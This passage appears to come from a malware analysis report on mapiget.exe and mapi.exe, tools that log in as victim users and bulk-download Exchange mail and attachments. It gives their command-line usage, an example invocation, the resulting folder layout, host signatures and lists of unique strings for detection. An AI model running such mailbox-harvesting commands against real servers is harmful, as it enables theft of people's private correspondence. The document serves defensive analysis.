This sample file would cause `mapiget.exe` to first authenticate as `user1` to the `user1domain.com` domain using his or her password `user1password`. `Mapiget.exe` would then invoke the `mapi` command as this user, and then repeat this process for `user2`.

`Mapi.exe` is used to download content from an Exchange server. It can be invoked with the following command line:

```
mapi.exe -s:ExchangeServer -u:UserName -t:YYYY-MM-DD-HH -o:SavePath
```

Figure 63: mapi.exe Command Line Usage

The `–t` parameter is used to specify the earliest date desired (i.e. instructs `mapi.exe` to ignore messages that are older than this date). The `–o` parameter specifies the root directory to save downloaded content. Additional directories and filenames will be created under this directory.

```
mapi.exe –s:exchangeserver.user1domain.com –u:user1 –t:2008-12-15-01 –
o:c:\windows\help\help
```

Figure 64: mapi.exe Command Line Example

The command in Figure 64 will store user1's messages from his or her Inbox in a directory structure such as the following:

```
C:\windows\help\help\
       user1\
              1-mail.txt
              2-mail.txt
              3\
                     mail.txt
                     RandomAttachment.pdf
              4\
                     mail.txt
                     RandomAttachment.doc
                     AnotherAttachment.xls
```

Figure 65: mapi.exe Output Example

Email messages that do not contain attachments are saved with a name such as `5-mail.txt`. Email messages with attachments are saved in a numeric directory. The message in this case is saved as `mail.txt`, while attachments are saved using the filename specified in the attachment. Unnamed attachments are saved as the file `Attachment.dat`.

The malware downloads data from the Exchange server using standard Microsoft protocols. In fact, network traffic originating from this malware may be indistinguishable from standard Microsoft Outlook traffic. The only identifying characteristic may be the volume of network traffic in the event an attacker accesses a user with a large amount of data stored in his or her Inbox.

Host-Based Signatures

- The malware may create a directory structure containing files such as `<Username>/N-mail.txt` and `<Username>/N/mail.txt`, where *N* is a decimal number and `Username` is a user on an Exchange server.
- The malware may create files named `Attachment.dat` when saving unnamed message attachments.

Unique Strings – mapiget.exe

```
(null)
       message    = %s.
       error code = %d.
ERROR: API        = %s.
read error
%s PassWord Error
 -h
Open File %s Error
CreateProcessWithLogonW
WinSta0\Default
Example:
%s -f:filename
\\%s\ipc$
127.0.0.1
TLOSS error
SING error
DOMAIN error
<program name unknown>
WNetCancelConnection2W
WNetAddConnection2W
MPR.dll
```

Unique Strings – mapi.exe

```
CObject
%*.*f
I64
CFile
```

```
CNotSupportedException
CMemoryException
CException
CFileException
CMapPtrToPtr
CCmdTarget
CTempWnd
CWnd
AfxOldWndProc423
AfxWnd42s
AfxControlBar42s
AfxMDIFrame42s
AfxFrameOrView42s
AfxOleControl42s
<program name unknown>
SunMonTueWedThuFriSat
JanFebMarAprMayJunJulAugSepOctNovDec
LC_TIME
LC_NUMERIC
LC_MONETARY
LC_CTYPE
LC_COLLATE
LC_ALL
Paraguay
Uruguay
Chile
Ecuador
Argentina
Peru
Colombia
Venezuela
Dominican Republic
South Africa
Panama
Luxembourg
Costa Rica
Switzerland
Guatemala
Canada
Spanish - Modern Sort
Australia
English
Austria
German
Belgium
Mexico
Spanish
Basque
Sweden
Swedish
Iceland
Icelandic
France
French
Finland
Finnish
Spain
Spanish - Traditional Sort
united-states
united-kingdom
trinidad & tobago
south-korea
south-africa
```

```
south korea
south africa
slovak
puerto-rico
pr-china
pr china
new-zealand
hong-kong
holland
great britain
england
czech
china
britain
america
usa
swiss
swedish-finland
spanish-venezuela
spanish-uruguay
spanish-puerto rico
spanish-peru
spanish-paraguay
spanish-panama
spanish-nicaragua
spanish-modern
spanish-mexican
spanish-honduras
spanish-guatemala
spanish-el salvador
spanish-ecuador
spanish-dominican republic
spanish-costa rica
spanish-colombia
spanish-chile
spanish-bolivia
spanish-argentina
portuguese-brazilian
norwegian-nynorsk
norwegian-bokmal
norwegian
italian-swiss
irish-english
german-swiss
german-luxembourg
german-lichtenstein
german-austrian
french-swiss
french-luxembourg
french-canadian
french-belgian
english-usa
english-us
english-uk
english-trinidad y tobago
english-south africa
english-nz
english-jamaica
english-ire
english-caribbean
english-can
english-belize
english-aus
```

```
english-american
dutch-belgian
chinese-traditional
chinese-singapore
chinese-simplified
chinese-hongkong
chinese
chi
chh
canadian
belgian
australian
american-english
american english
american
OCP
ACP
:Sun:Sunday:Mon:Monday:Tue:Tuesday:Wed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
:Jan:January:Feb:February:Mar:March:Apr:April:May:May:Jun:June:Jul:July:Aug:August:Sep
:September:Oct:October:Nov:November:Dec:December
$+vx
+v$x+v$xv$+xv+$xv$+x+$vx+$vx$v+x+$vx$+vx+v $+v $v $+v+ $v $++$ v+$ v$ v++$ v$ +v
SetWindowsHookExA
ClosePrinter
DocumentPropertiesA
OpenPrinterA
WINSPOOL.DRV
%s%d-mail.txt
Recv Time:
Subject:
To:
From:
mail.txt
%s\%d\
mail
OpenMessageStore Error
Login %s %s error
EXMAPI INIT Error
Creat Profile Error
%d-%d-%d-%d
MyOutlook
temp
Example:%s -s:sn-server1.mailserver.com -u:exuser4 -t:2006-9-25-14 -o:c:\winnt\temp
%s -s:ExchangeServer -u:UserName -t:YYYY-MM-DD-HH -o:SavePath
#32770
.?AVexception@@
.?AVbad_cast@std@@
missing locale facet
%m/%d/%Y %I:%M %p
%s\Attachment.dat
%s\%s
Error configuring message service.
Error querying table for new message service.
Error getting Message Service Table.
Error creating Exchange message service.
MSEMS
Error getting IMsgServiceAdmin interface.
Error creating profile.
Error getting IProfAdmin interface.
Error initializing MAPI.
Error DeleteProfile.
Error initializing MAPI.
```